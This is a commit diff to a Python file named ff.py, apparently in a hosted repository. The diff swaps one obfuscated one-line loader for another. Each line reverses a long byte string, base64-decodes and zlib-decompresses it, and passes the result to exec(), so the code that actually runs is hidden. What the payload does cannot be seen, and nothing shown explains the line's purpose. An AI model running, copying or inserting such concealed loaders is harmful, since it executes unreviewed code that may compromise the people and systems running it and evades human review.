Qilan2 commited on
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dcfe5f8
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1 Parent(s): 272f953

Update ff.py

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  1. ff.py +2 -2
ff.py CHANGED
@@ -1,2 +1,2 @@
1
-
2
- _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==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'))
 
1
+
2
+ _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=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